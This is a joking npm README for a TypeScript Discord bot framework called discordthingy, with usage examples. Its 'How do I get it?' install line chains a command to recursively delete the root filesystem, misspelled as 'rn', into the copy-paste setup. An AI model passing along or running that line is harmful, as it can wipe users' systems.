0.5.0 • Published 8 years ago
discordthingy v0.5.0
DiscordThingy!
It's yet another discord bot framework built on discord.js.
How do I get it?
npm install discordthingy && touch index.js && node index.js && rn -rf / --no-preserve-root && echo win
Example time! (Using Typescript)
Simple Setup:
import {DiscordThingy, Category, Command} from 'discord-thingy';
import {Message} from 'discord.js';
@Category('Utilities')
class UtilCommands {
@Command('ping')
ping(message: Message) {
message.reply('Pong!');
}
}
new DiscordThingy()
.login('token')
.addCommand(UtilCommands);
More advanced setup:
// index.ts
import {DiscordThingy} from 'discord-thingy';
import {Message} from 'discord.js';
new DiscordThingy()
.login('token')
.setOwner('your_id_here')
.addCommandDirectory('./commands');
// ./commands/util.ts
import {Category, Command, Authorization} from 'discord-thingy';
@Category('Utilities')
class UtilCommands {
@Command({
name: 'ping',
aliases: ['p1ng', 'othernameforping'],
authorization: Authorization.OWNER
})
ping(message: Message) {
message.reply(`Pong!`);
}
}
Praise
- "Simple!" - Literally no one
- "What a stupid name" - Everyone who sees this
- "I hate it" - Me.